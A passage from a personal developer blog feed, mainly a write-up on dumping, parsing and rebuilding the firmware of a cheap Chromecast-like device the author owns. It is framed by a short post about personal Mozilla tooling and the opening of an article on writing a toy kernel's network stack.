very own network stack ā¤ļø</p>
<p>In other words, my little kernel is finally able to talk to the Internet
and I am extremely happy!</p>
<p>[there was a picture with ArvernOS in QEMU and Wireshark]</p>
</blockquote>
<p><a href="#fnref:tweet-dns" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:tweet-b0rk-dns" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/b0rk/status/1485773079741706240">tweet from @b0rk</a>:</p>
<blockquote class="footnote-tweet">
<p>life of a DNS query <a href="https://wizardzines.com/comics/life-of-a-dns-query/">https://wizardzines.com/comics/life-of-a-dns-query/</a></p>
</blockquote>
<p><a href="#fnref:tweet-b0rk-dns" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Some non-production tools I wrote2022-03-29T00:00:00+00:00https://williamdurand.fr/2022/03/29/some-non-production-tools-i-wrote<p>This is a short article about 3 different tools I authored for my needs at
Mozilla.</p>
<p>I worked on <a href="https://addons.mozilla.org/">AMO</a> for almost 4 years and created various libraries like
<a href="https://github.com/mozilla/pino-mozlog">pino-mozlog</a>, <a href="https://github.com/willdurand/pino-devtools">pino-devtools</a> or an <a href="https://github.com/mozilla/eslint-plugin-amo">ESLint plugin</a> to
name a few. These libraries have been created either to improve our developer
experience or to fulfill some production requirements.</p>
<p>This isnāt the kind of projects I want to focus on in the rest of this article,
though. Indeed, I also wrote ānon-productionā tools, i.e. some side projects to
improve my day-to-day work. These tools have been extremely useful to me and,
possibly, other individuals as well. I use most of them on a weekly basis and I
maintain them on my own.</p>
<h2 id="amo-info">amo-info</h2>
<p>I wrote a browser extension named <a href="https://addons.mozilla.org/en-US/firefox/addon/amo-info/">amo-info</a>. This extension adds a page
action button when we open the web applications maintained by the AMO/Add-ons
team. Clicking on this button reveals a pop-up with relevant information like
the environment, git tag, feature flags, etc.</p>
<p class="with-caption"><img src="/images/posts/2022/03/amo-info.webp" alt="" />
<em>The amo-info extension displaying information about addons.mozilla.org.</em></p>
<p>If this sounds familiar to you, it might be because I already mentioned this
project in my <a href="/2020/09/22/feature-flags-in-real-life/">article about feature flags</a>. Anyway, knowing what
is currently deployed in any environment at any given time is super valuable,
and this extension makes it easy to find out!</p>
<p>I recently added support for Firefox for Android but it <a href="https://blog.mozilla.org/addons/2020/09/29/expanded-extension-support-in-firefox-for-android-nightly/">only works in
Nightly</a>.</p>
<h2 id="git-npm-release"><code class="language-plaintext highlighter-rouge">git npm-release</code></h2>
<p>A different tool I use every week is the <a href="https://github.com/willdurand/dotfiles/blob/8abc8da3ca5f9f7a3d8e0d629552a15a819ad2d5/git/commands/npm-release">git npm-release</a> command,
which automates my process to release new versions of our JavaScript packages.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git npm-release -h
usage: git npm-release [help|major|minor|patch]
git npm-release help
print this help message.
git npm-release major
create a major version.
git npm-release minor
create a minor version.
git npm-release patch
create a patch version.
</code></pre></div></div>
<p>For most of our JavaScript projects, we leverage a Continuous Integration (CI)
platform (e.g., CircleCI) to automatically publish new versions on the <a href="https://www.npmjs.com/">npm
registry</a> when a git tag is pushed to a GitHub repository.</p>
<p>The <code class="language-plaintext highlighter-rouge">git npm-release</code> command is built on top of <a href="https://hub.github.com/"><code class="language-plaintext highlighter-rouge">hub</code></a>, <a href="https://docs.npmjs.com/cli/version"><code class="language-plaintext highlighter-rouge">npm
version</code></a> and a homemade <a href="https://github.com/willdurand/dotfiles/blob/8abc8da3ca5f9f7a3d8e0d629552a15a819ad2d5/scripts/format-release-notes">script to format release
notes</a>. Running this command will (1) update the
<code class="language-plaintext highlighter-rouge">package.json</code> file with the right version, (2) make a git tag, (3) prepare the
release notes and open an editor, (4) push the commit/tag to GitHub, and (5)
create a GitHub release.</p>
<p>This process isnāt fully automated because (3) opens an editor with the
pre-formatted release notes. I usually provide some more high level information
in the notes, which is why this step requires manual intervention.</p>
<h2 id="fx-attribution-data-reader">fx-attribution-data-reader</h2>
<p>This is a tool I created not too long ago after telling a QA engineer that āhe
could simply open the binary in an hex editorā š I can find my way in hex dumps
because <a href="/2022/03/10/spi-flash-content-analysis-and-firmware-reconstruction/">my hobbies are weird</a> but I get that it isnāt
everyone elseās cup of tea.</p>
<p>The <a href="https://williamdurand.fr/fx-attribution-data-reader/">fx-attribution-data-reader</a> web application takes a Firefox for
Windows binary and displays the attribution data that may be contained in it.
Everything is performed locally (in the browser) but the results can also be
shared (URLs are āshareableā).</p>
<p class="with-caption"><img src="/images/posts/2022/03/fx-reader.webp" alt="" />
<em>The fx-attribution-data-reader tool with a binary loaded and parsed.</em></p>
<p>Currently, this is mainly useful to debug some add-ons related features and it
is very niche. As such, this tool isnāt used very often but this is a good
example of a very simple UI built to hide some (unnecessary) complexity.</p>
<h2 id="conclusion">Conclusion</h2>
<p>I introduced three different tools that I am happy to use and maintain. <a href="https://xkcd.com/1205/">Is it
worth the time?</a> I think so because it isnāt so much
about the time shaved off in this case.</p>
<p>It is more about the simplicity and ease of use. Also, writing new tools is fun!
I often use these ideas as excuses to learn more about new topics, be it
programming languages, frameworks, libraries, or some internals.</p>
SPI flash content analysis and firmware reconstruction2022-03-10T00:00:00+00:00https://williamdurand.fr/2022/03/10/spi-flash-content-analysis-and-firmware-reconstruction<p>I wrote a [Twitter thread about hardware hacking]<sup id="fnref:twitter-thread" role="doc-noteref"><a href="#fn:twitter-thread" class="footnote" rel="footnote">1</a></sup> some time ago.
The idea was to explain <em>one</em> way to obtain privileged access on a device. In
this case, the target was a cheap Chromecast-like device (more on that below)
and I āeasilyā got <code class="language-plaintext highlighter-rouge">root</code> access <em>via</em> UART.</p>
<p>This article explains how I reconstructed a modified firmware for this device.</p>
<h2 id="overview-of-the-chromemiraany-cast-device">Overview of the Chrome/Mira/Any-cast device</h2>
<p>The target was a cheap Chromecast (or Miracast or Anycast) ācloneā bought on
Aliexpress (I am not sure because it was a āgiftā). Such a device lets users
cast audio and video on their TV as shown in Figure 1 (HDMI output). In addition
to a HDMI connector, this device is bundled with an external WiFi adapter (USB).</p>
<p class="with-caption"><img src="/images/posts/2022/03/hdmi-output-device.webp" alt="" />
<em>Figure 1: A screenshot of the default HDMI output (taken with a capture card)</em></p>
<p>When the device is powered on for the first time, it creates a WiFi network,
e.g., <code class="language-plaintext highlighter-rouge">DONGLE-11BA8F</code>. Users should first connect to this network with their
smartphone or laptop, and configure the device using a web app as shown in
Figure 2. This step is necessary to allow the device to connect to the userās
WiFi network.</p>
<p class="with-caption"><img src="/images/posts/2022/03/web-app.webp" alt="" />
<em>Figure 2: Two screenshots of the web application</em></p>
<p>Once the device has restarted and joined the userās WiFi network, users can
theoretically send audio or video to the device and have it played on TV.
According to the manual, this device should work with the āChromecast protocolā
but it didnāt work <em>that</em> well for me.</p>
<p>I was able to cast audio and pictures but not video. Google Home wasnāt able to
communicate with the device in a stable manner. I tried many different
applications on both iOS and Android and I wasnāt able to achieve much. I tried
to upgrade the device but the remote server was not foundā¦ These are the
reasons why I decided to āhackā this device.</p>
<p>Besides having fun, my goal was to find ways to āfixā this device either by
updating the software or re-purposing it. I knew itād be complex but also that
Iād learn a lot. At the time of writing, I didnāt achieve my goal yet but I made
good progress.</p>
<p>I explained how I gained access to a Linux console in the Twitter thread so I am
not going to repeat myself here. Instead, the rest of this blog post describes
what happened next.</p>
<h2 id="diving-into-the-content-of-the-spi-flash">Diving into the content of the SPI flash</h2>
<p>I was left with a full dump of the SPI flash (the storage component of this
device) and many questions. I used <a href="https://github.com/ReFirmLabs/binwalk">binwalk</a> to get an overview of the content
of the SPI flash.</p>
<p>The dump contained a Linux kernel (the three first entries in the output below)
and two file systems: <a href="https://en.wikipedia.org/wiki/JFFS2">Journalling Flash File System version 2</a> (JFFS2)
and <a href="https://en.wikipedia.org/wiki/SquashFS">SquashFS</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ binwalk flash.dump
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
264192 0x40800 Linux kernel ARM boot executable zImage (little-endian)
280492 0x447AC gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
3292936 0x323F08 Flattened device tree, size: 49912 bytes, version: 17
4456448 0x440000 JFFS2 filesystem, little endian
5242880 0x500000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10778932 bytes, 412 inodes, blocksize: 524288 bytes, created: 2020-12-02 03:03:01
</code></pre></div></div>
<p>I kindly asked <code class="language-plaintext highlighter-rouge">binwalk</code> to extract the SquashFS partition:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls squashfs-root/
bin/ build.prop* etc/ fonts/ lib/ usr/ vendor/
</code></pre></div></div>
<p>In the Twitter thread, I mentioned that the device was running Android. This
SquashFS partition is very likely the <code class="language-plaintext highlighter-rouge">system</code> partition. Among other things, it
contains the content of the web application described in the previous section.
Each page is a <a href="https://en.wikipedia.org/wiki/Common_Gateway_Interface">CGI</a> ELF binary:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file squashfs-root/bin/home.cgi
squashfs-root/bin/home.cgi: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /system/bin/linker, stripped
</code></pre></div></div>
<p>After a few Google/GitHub searches, I had found extremely <a href="https://github.com/gfa99/rk3399_devenv/tree/208aaa4dabe7fdf875b84e834f8ed91cae0de5f7/external/rk_webui/www">similar sources of
these CGI files</a>. None of these scripts seemed particularly
interesting, though.</p>
<p>I also took a quick look at the JFFS2 partition, which appeared to be the <code class="language-plaintext highlighter-rouge">data</code>
partition (of an Android-based system) but I didnāt find anything useful either.</p>
<p>Last, I used <a href="https://elinux.org/Device_Tree_Reference#fdtdump">fdtdump</a> to explore the <a href="https://www.kernel.org/doc/html/latest/devicetree/usage-model.html">device tree</a>, i.e. the āhardware
configurationā of this device for the Linux kernel (<a href="https://embeddedbits.org/what-differs-android-from-other-linux-based-systems/">Android uses the Linux
kernel</a>). This gives an idea of which hardware may be present
and how it should be used by the kernel, and it could be useful information
later.</p>
<p>After that, I looked at the <em>structure</em> of the SPI flash.</p>
<h3 id="mtd-partitions">MTD partitions</h3>
<p>Based on the kernel logs I had captured when I was using the Linux console over
serial, I knew the content was divided into 5 different partitions: <em>loader</em>,
<em>kernel</em>, <em>data</em>, <em>system</em> and <em>misc</em>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[ 0.379500] Creating 5 MTD partitions on "rk29xxnand":
[ 0.379538] 0x000000000000-0x000000040000 : "loader"
[ 0.380859] 0x000000040000-0x000000440000 : "kernel"
[ 0.382175] 0x000000440000-0x000000500000 : "data"
[ 0.383466] 0x000000500000-0x000000ffd000 : "system"
[ 0.384697] 0x000000ffd000-0x000000ffe000 : "misc"
</code></pre></div></div>
<p>Out of 5 <a href="https://bootlin.com/blog/managing-flash-storage-with-linux/">MTD partitions</a>, 3 have been seen previously: <code class="language-plaintext highlighter-rouge">kernel</code>, <code class="language-plaintext highlighter-rouge">data</code> and
<code class="language-plaintext highlighter-rouge">system</code>. Note that the <code class="language-plaintext highlighter-rouge">kernel</code> partition starts at <code class="language-plaintext highlighter-rouge">0x40000</code> but <code class="language-plaintext highlighter-rouge">binwalk</code>
found the <code class="language-plaintext highlighter-rouge">zImage</code> at <code class="language-plaintext highlighter-rouge">0x40800</code>. Weāll get back to that in a moment. For <code class="language-plaintext highlighter-rouge">data</code>
and <code class="language-plaintext highlighter-rouge">system</code>, the offsets in the <code class="language-plaintext highlighter-rouge">binwalk</code> output match the base addresses in
the logs above.</p>
<p>This time, I used <code class="language-plaintext highlighter-rouge">dd</code> to split the original dump into different binary files
based on the address ranges printed in the kernel logs above. I then looked at
each file individually, and made the following observations:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">kernel.bin</code> is not recognized by <code class="language-plaintext highlighter-rouge">file</code>, weird.</li>
<li>although <code class="language-plaintext highlighter-rouge">data.bin</code> and <code class="language-plaintext highlighter-rouge">system.bin</code> are correctly detected as file systems
by <code class="language-plaintext highlighter-rouge">file</code>, the <code class="language-plaintext highlighter-rouge">.bin</code> files extracted with <code class="language-plaintext highlighter-rouge">dd</code> seem different than the files
extracted with <code class="language-plaintext highlighter-rouge">binwalk</code>. Maybe because <code class="language-plaintext highlighter-rouge">binwalk</code> tried to find <a href="https://en.wikipedia.org/wiki/Magic_number_(programming)">magic
numbers</a> and metadata (like the size of the content it has to extract)? I
am not sure.</li>
<li><code class="language-plaintext highlighter-rouge">misc.bin</code> is an āemptyā binary file.</li>
</ol>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file *.bin
loader.bin: data
kernel.bin: data
data.bin : Linux jffs2 filesystem data little endian
system.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 10778932 bytes, 412 inodes, blocksize : 524288 bytes, created : Wed Dec 2 03:03:01 2020
misc.bin : ISO-8859 text, with very long lines, with no line terminators
</code></pre></div></div>
<p>Given I had already analyzed the ādata partitionsā (<code class="language-plaintext highlighter-rouge">data</code> and <code class="language-plaintext highlighter-rouge">system</code>), I
decided to study the <code class="language-plaintext highlighter-rouge">loader</code> and <code class="language-plaintext highlighter-rouge">kernel</code> partitions next.</p>
<h3 id="the-loader-partition">The loader partition</h3>
<p>I ran <code class="language-plaintext highlighter-rouge">strings</code> on the <code class="language-plaintext highlighter-rouge">loader.bin</code> file, which returned a few strings that I
already read before. Indeed, this partition contains the code that loads the
Linux kernel and some of the strings found in the binary appeared in the boot
logs collected over serial:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DDR Version 1.08 20170609
In
DDR2
396MHz
BW=16 Col=10 Bk=8 Row=13 CS=1 Size=128MB
OUT
0 BUILD: Apr 13 2018 09:17:13, version: 1.24
sfc nor id: c2 20 18 10 3c
g_spi_flash_info id 0x00c22018.
AddrMode: 0
ReadLines: 0
ProgLines: 0
ReadCmd: 3
ProgCmd: 2
blkEraseCmd: d8
secEraseCmd: 20
boot_media = 0x10
flash vendor_storage_init
OK! 21154
loader flag: 0x0
start_linux=====258615
multi-entries loader - fw_status: 0x1, kernel_addr 200, 259 ms
enter LoadKernel @263 ms
hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000
load kernel data done @1043 ms
run kernel@0x62000000 =====1043 ms
loader update successfully =====1046 ms
<hit enter to activate fiq debugger>
[ 0.000000] Booting Linux on physical CPU 0xf00
...
</code></pre></div></div>
<p>It looks like the bootloader is named āDDRā and the version is <code class="language-plaintext highlighter-rouge">1.08</code>. I found
binaries for <a href="https://github.com/rockchip-linux/rkbin/tree/7d631e0d5b2d373b54d4533580d08fb9bd2eaad4/bin/rk30">other versions of this bootloader</a> on the web but not for
the version I had (huh?), and no source code.</p>
<p>I also ran <code class="language-plaintext highlighter-rouge">hexdump</code> on <code class="language-plaintext highlighter-rouge">loader.bin</code> and was faced with the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000000 52 4b 46 50 e4 07 0c 02 0b 03 0e 00 19 00 05 10 |RKFP............|
00000010 00 02 00 00 01 00 00 00 f0 7f 00 00 80 00 00 00 |................|
00000020 06 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001f0 00 00 00 00 00 00 00 00 98 45 32 7b a8 8a fb fa |.........E2{....|
00000200 76 65 6e 64 6f 72 00 00 00 00 00 00 00 00 00 00 |vendor..........|
00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000220 01 00 00 00 08 00 00 00 38 00 00 00 00 70 00 00 |........8....p..|
00000230 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 |................|
...
</code></pre></div></div>
<p>I tried to find more information about the <code class="language-plaintext highlighter-rouge">RKFP</code> magic number. There isnāt a
lot of information about it. This seems to be a proprietary image format but its
structure is partially known and open source. I found the definitions of the
different structures in <a href="https://github.com/rockchip-linux/kernel/blob/82c9666cb6fe999eb61f23c2c9d0d5dad7332fb6/drivers/rkflash/rkflash_blk.h"><code class="language-plaintext highlighter-rouge">rkflash_blk.h</code></a> (Linux kernel) and
<a href="https://www.programmersought.com/article/23645928333/">this page</a> helped a lot by providing additional context!</p>
<h3 id="the-kernel-partition">The kernel partition</h3>
<p>I read the <code class="language-plaintext highlighter-rouge">kernel.bin</code> file with <code class="language-plaintext highlighter-rouge">hexdump</code>. The first few bytes are shown
below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ hexdump -C part-kernel.bin
00000000 4b 45 52 4e 45 4c 00 00 00 00 00 00 00 00 00 00 |KERNEL..........|
00000010 00 00 00 62 00 fa 2e 00 cc ec ad 80 20 00 00 00 |...b........ ...|
00000020 7a 46 9d 1b 84 4d be a7 59 81 3a 48 d2 19 67 a4 |zF...M..Y.:H..g.|
00000030 79 9c d3 78 d9 3f d6 5a c7 34 03 ec 1b 09 84 b9 |y..x.?.Z.4......|
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
...
</code></pre></div></div>
<p>This looks like some kind of partition header. Thatās odd because (1) the other
partitions donāt appear to have any header like that, and (2) I only found
RockChip tools that deal with images with <code class="language-plaintext highlighter-rouge">KRNL</code> as magic number, not <code class="language-plaintext highlighter-rouge">KERNEL</code>.
Ugh.</p>
<p>In the <code class="language-plaintext highlighter-rouge">hexdump</code> output above, I noticed two values on the second line that
looked familiar. Indeed, in the bootloader logs, there were these two lines:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hdr.loader_load_size= 2efa00
hdr.loader_load_addr= 62000000
</code></pre></div></div>
<p>The load address is therefore at offset <code class="language-plaintext highlighter-rouge">0x10</code> in this ākernel headerā, and the
(kernel?) size is at offset <code class="language-plaintext highlighter-rouge">0x15</code>. Then we have another 4 bytes, which seems to
be the CRC for this header. The next 4 bytes hold a value of <code class="language-plaintext highlighter-rouge">0x20</code> and that
looks like the length of the following bytes (from <code class="language-plaintext highlighter-rouge">0x20</code> to <code class="language-plaintext highlighter-rouge">0x40</code>). Some
checksum, maybe? This could be the length of a SHA-256 hash.</p>
<p>After this header, there is some padding until offset <code class="language-plaintext highlighter-rouge">0x800</code> where we find some
ARM instructions (<code class="language-plaintext highlighter-rouge">00 00 A0 E1</code>). This explains why <code class="language-plaintext highlighter-rouge">binwalk</code> found the kernel
at <code class="language-plaintext highlighter-rouge">0x40800</code> before.</p>
<p>At this point, I had enough information about the content of the SPI flash. As
stated at the top of this blog post, my goal was to fix this device. Writing a
parser for these RKFP images would be a good first step to be able to update the
firmware eventually.</p>
<h2 id="parsing-rkfp-images">Parsing RKFP images</h2>
<p>I developed <a href="https://github.com/willdurand/hardware-hacking-cast-device">a tool</a> in C to print information about RKFP images. I
also found two other similar (SPI flash) dumps in the wild, allowing me to have
more examples while developing my tool. In particular, it turned out that the
image I had dumped myself had a CRC mismatch š </p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./build/cli info flash.dump
Input file:
name: flash.dump
size: 16777216 bytes
Header:
firmware tag : RKFP
firmware version : 16.05.25
release date : 2020-12-02 at 11:03:14
size : 512 bytes
partition_offset : 1 sectors
backup_partition_offset: 32752 sectors
partition_size : 128 bytes
partition_count : 6
fw_size : 0 bytes
partition_crc : 0x7B324598
header_crc : 0xFAFB8AA8
CRC:
WARNING! header CRC mismatch (got 0x74B94941)
partition CRC: OK
Partition #00 - 0x00001000-0x00008000
name : vendor
type : 0x01
offset : 4096 bytes (0x1000)
size : 28672 bytes (0x7000)
data size: 28672 bytes (0x7000)
property : 0x00
Partition #01 - 0x00008000-0x00038000
name : IDBlock
type : 0x02
offset : 32768 bytes (0x8000)
size : 196608 bytes (0x30000)
data size: 86016 bytes (0x15000)
property : 0x00
Partition #02 - 0x00040000-0x00440000
name : kernel
type : 0x04
offset : 262144 bytes (0x40000)
size : 4194304 bytes (0x400000)
data size: 3080708 bytes (0x2F0204)
property : 0x00
Partition #03 - 0x00440000-0x00500000
name : data
type : 0x08
offset : 4456448 bytes (0x440000)
size : 786432 bytes (0xC0000)
data size: 786432 bytes (0xC0000)
property : 0x00
Partition #04 - 0x00500000-0x00FFD000
name : system
type : 0x0C
offset : 5242880 bytes (0x500000)
size : 11522048 bytes (0xAFD000)
data size: 10780672 bytes (0xA48000)
property : 0x00
Partition #05 - 0x00FFD000-0x00FFE000
name : misc
type : 0x0F
offset : 16764928 bytes (0xFFD000)
size : 4096 bytes (0x1000)
data size: 0 bytes (0x0)
property : 0x00
</code></pre></div></div>
<p>Most partitions were not new because they were listed as āMTD partitionsā and I
had already analyzed some of them. The tool found 6 <em>RKFP partitions</em>, though.
Instead of having a <code class="language-plaintext highlighter-rouge">loader</code> partition, we had two partitions: <code class="language-plaintext highlighter-rouge">vendor</code> and
<code class="language-plaintext highlighter-rouge">IDBlock</code>. āID Blockā is apparently a header for Rockchip BootRom.</p>
<p>Next, I wrote a new command (<code class="language-plaintext highlighter-rouge">extract_rkfp</code>) to extract the actual data located
in each RKFP partition. It is worth mentioning that I later found the
<a href="https://github.com/linux-rockchip/rkflashtool">rkflashtool</a> project, which offers a tool to unpack RKFP images too (among
other things). Both this tool and mine were producing identical partition
files.</p>
<p>At this point, I was able to read information from a RKFP image, verify the
different CRCs and extract the data contained in each partition. I had two
options: (1) stop there and forget about this project, or (2) find out how to
make a RKFP image š¬</p>
<h2 id="reconstructing-rkfp-images">Reconstructing RKFP images</h2>
<p>I tried to reconstruct the RKFP images I had (the one I dumped and two I found
online). My idea was to invert the āreadā process by appending the different
RKFP partitions extracted with <code class="language-plaintext highlighter-rouge">make_rkfp</code> after having written a āRKFP headerā.</p>
<p>Obviously, this didnāt workā¦ I used <a href="https://github.com/madsen/vbindiff">VBinDiff</a> (a lot) to compare the
original image and the one I had reconstructed with my tool. The header appeared
to be correct but there were differences in the <code class="language-plaintext highlighter-rouge">IDBlock</code> partition and in some
other locations.</p>
<p>I realized that the <code class="language-plaintext highlighter-rouge">IDBlock</code> partition was special: although it had a data size
of <code class="language-plaintext highlighter-rouge">N</code>, its actual size was almost three times bigger and after having inspected
its content, I had the impression that there was more data than what the
partition metadata was saying. Some more searches about this mysterious
<code class="language-plaintext highlighter-rouge">setting.ini</code> file mentioned <a href="https://www.programmersought.com/article/23645928333/">here</a> made me conclude that there
were probably two loaders. Given that this partition likely contained
proprietary code that I needed anyway but didnāt necessarily need to change, I
adjusted my tool. I special-caseād the <code class="language-plaintext highlighter-rouge">IDBlock</code> partition so that the entire
partition was (1) extracted with <code class="language-plaintext highlighter-rouge">extract_rkfp</code>, and (2) written with
<code class="language-plaintext highlighter-rouge">make_rkfp</code>.</p>
<p>I could then generate a RKFP image that looked almost like the original one. The
images I found online had extra ābackup metadataā, which I didnāt have in the
image coming from my device. I wrote code for that, too.</p>
<p>I was kinda confident with my tool but I hadnāt tried the new images on the
device yet so its effectiveness was purely theoretical.</p>
<h2 id="a-breakout-board-for-soic-16">A breakout board for SOIC-16</h2>
<p>In order to verify that my tool was producing correct firmware, I needed a way
to write to the SPI flash chip and then boot the device. Near the end of the
Twitter thread, the flash had been desoldered. Soldering and desoldering the
flash every time was not an option, and I couldnāt properly use <a href="https://www.flashrom.org/Flashrom">flashrom</a>
when the flash was soldered on the device.</p>
<p>I decided to design a small PCB to get access to the flash pins using a 1.27mm
16-pin socket, which would be soldered on the device (see Figure 3). The same
board could also be reused with a plug on one side and the flash chip on the
other side (see Figure 4).</p>
<p class="with-caption"><img src="/images/posts/2022/03/kicad-breakout-board.webp" alt="" />
<em>Figure 3: The 3D view of the breakout board for SOIC-16</em></p>
<p>It was the first time I designed a PCB with castellated holes. <a href="https://oshpark.com/">OSH Park</a> did
an amazing work on such small boards (about the size of 1 cent coins) š</p>
<p class="with-caption"><img src="/images/posts/2022/03/socket-and-plug.wepb" alt="" />
<em>Figure 4: A breakout board is mounted on the PCB and a<br />second breakout board
holds the SPI flash + a plug on the other side</em></p>
<p>With these breakout boards assembled (see Figure 5), I could easily write to the
flash and test my changes on real hardware. Before that, I made sure that the
device could still boot with the original firmware (still present on the flash).</p>
<p class="with-caption"><img src="/images/posts/2022/03/breakout-board-on-pcb.webp" alt="" />
<em>Figure 5: The SPI flash mounted on the device (blue circle)</em></p>
<p>I then used <a href="https://www.flashrom.org/Flashrom">flashrom</a> to put the reconstructed (unmodified) firmware on the
SPI flash and I powered on the device. Success! The device booted and everything
seemed to work as before.</p>
<p>My next experiment was about producing and booting a modified firmware.</p>
<h2 id="modifying-the-system-partition">Modifying the system partition</h2>
<p>I opted to change the system partition. The first step was to know which options
to use to rebuild the SquashFS partition:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ unsquashfs -s part-system.bin
Found a valid SQUASHFS 4:0 superblock on 500000.squashfs.
Creation or last append time Wed Dec 2 04:03:01 2020
Filesystem size 10778932 bytes (10526.30 Kbytes / 10.28 Mbytes)
Compression xz
Dictionary size 524288
Filters selected: arm
Block size 524288
...
</code></pre></div></div>
<p>I changed a file in the extracted content and then rebuilt the partition:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mksquashfs squashfs-root new-system-partition.bin -comp xz -Xbcj arm -b 524288 -all-root
</code></pre></div></div>
<p>I then reused the <code class="language-plaintext highlighter-rouge">make_rkfp</code> command to create a new RKFP image and loaded it
on the SPI flash, then put the flash back on the device and powered it on. 3..
2.. 1.. Success! š</p>
<p class="with-caption"><img src="/images/posts/2022/03/hdmi-output-new-firmware.webp" alt="" />
<em>Figure 6: HDMI output with the modified firmware</em></p>
<h2 id="work-in-progress">Work in progress</h2>
<p>Only the <code class="language-plaintext highlighter-rouge">system</code> partition has been altered in the previous section but the
<code class="language-plaintext highlighter-rouge">data</code> partition could have been equally modified. I had no interest in changing
the <code class="language-plaintext highlighter-rouge">loader</code> partition and the <code class="language-plaintext highlighter-rouge">misc</code> one was empty. This leaves us with the
<code class="language-plaintext highlighter-rouge">kernel</code> partition.</p>
<p>I added a <code class="language-plaintext highlighter-rouge">extract_kernel</code> command to my tool to extract the data from the
<code class="language-plaintext highlighter-rouge">kernel</code> partition. This was a requirement to understand how to make such a
<code class="language-plaintext highlighter-rouge">kernel</code> partition in the future, the main motivation being to eventually update
the version of the Linux kernel.</p>
<p>The extracted data appears to be a <code class="language-plaintext highlighter-rouge">zImage</code> with DTB files appended to it. I am
not too sure how that has been generated yet, maybe just <code class="language-plaintext highlighter-rouge">cat zImage *.dtb > kernel</code>?
A <a href="https://en.wikipedia.org/wiki/Initial_ramdisk">initial ramdisk</a> seems to be part of that same <code class="language-plaintext highlighter-rouge">zImage</code> too, and it
contains different <code class="language-plaintext highlighter-rouge">init.*.rc</code> files.</p>
<p>The next steps will be to build a new Linux kernel that looks like the extracted
one, and see if that works.</p>
<h2 id="conclusion">Conclusion</h2>
<p>After having gained root access on this device, I have been able to modify the
original firmware. Out of 5 MTD partitions, all but two have been fully analyzed
(<code class="language-plaintext highlighter-rouge">loader</code> and <code class="language-plaintext highlighter-rouge">kernel</code>). I designed a breakout board to easily verify firmware
produced with a tool I created specifically for this project. This was also a
good excuse to learn about <a href="https://cliutils.gitlab.io/modern-cmake/">modern CMake</a> š</p>
<p>As mentioned before in this article, I was not too interested in the <code class="language-plaintext highlighter-rouge">loader</code>
partition, hence my focus on the <code class="language-plaintext highlighter-rouge">kernel</code> partition near the end. In the future,
I want to build a new kernel image and load it on the device. There are two
known issues so far: (1) building the right (Android) kernel for the device, and
(2) creating a kernel partition for the RKFP image. Weāll see how it goesā¦</p>
<p>Last but not least, both the tool and the KiCad files have been <a href="https://github.com/willdurand/hardware-hacking-cast-device">published on
GitHub</a>. Enjoy!</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:twitter-thread" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1478696626994745344">Twitter thread from
me</a>. I documented how
I gained (root) access on a cheap device, which involved hardware and
software skills.Ā <a href="#fnref:twitter-thread" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
On writing a network stack (1/2)2022-02-17T00:00:00+00:00https://williamdurand.fr/2022/02/17/on-writing-a-network-stack-part-1<p><em>I am writing a minimum viable network stack from scratch for <a href="https://github.com/willdurand/ArvernOS/">ArvernOS</a> (a
UNIX-like toy kernel). This two-part story describes some protocols of the
<a href="https://en.m.wikipedia.org/wiki/Internet_protocol_suite">TCP/IP</a> stack as well as some implementation details in the context of
ArvernOS.</em></p>
<p>There are different ways to approach a problem like āletās write a network
stackā. The most sane solution is probably to not do it because there are many
great implementations already (<a href="https://savannah.nongnu.org/projects/lwip/">lwIP</a> for example). On the other hand, <em>I</em>
learn a lot more by doing than by passively studying existing software or RFCs
so š¤·</p>
<p>The āstackā I am referring to is <em>everything</em> that happens <em>after</em> a program
calls functions like <a href="https://man7.org/linux/man-pages/man2/socket.2.html"><code class="language-plaintext highlighter-rouge">socket</code>(2)</a>, <a href="https://man7.org/linux/man-pages/man2/recvfrom.2.html"><code class="language-plaintext highlighter-rouge">recvfrom</code>(2)</a>, etc. and
until these functions return. In ArvernOS, but I think that would apply to Linux
as well, the network stack is part of the kernel code and (user) programs
interact with it using <a href="https://en.wikipedia.org/wiki/System_call">system calls</a>.</p>
<p>When I started the implementation of the ArvernOS network stack (in December
2020), my plan was to write the minimal amount of code to (1) add support for a
network card in my kernel and (2) send some valid data. I designed this stack
without looking at other existing implementations. That might be a problem in
the future, weāll see.</p>
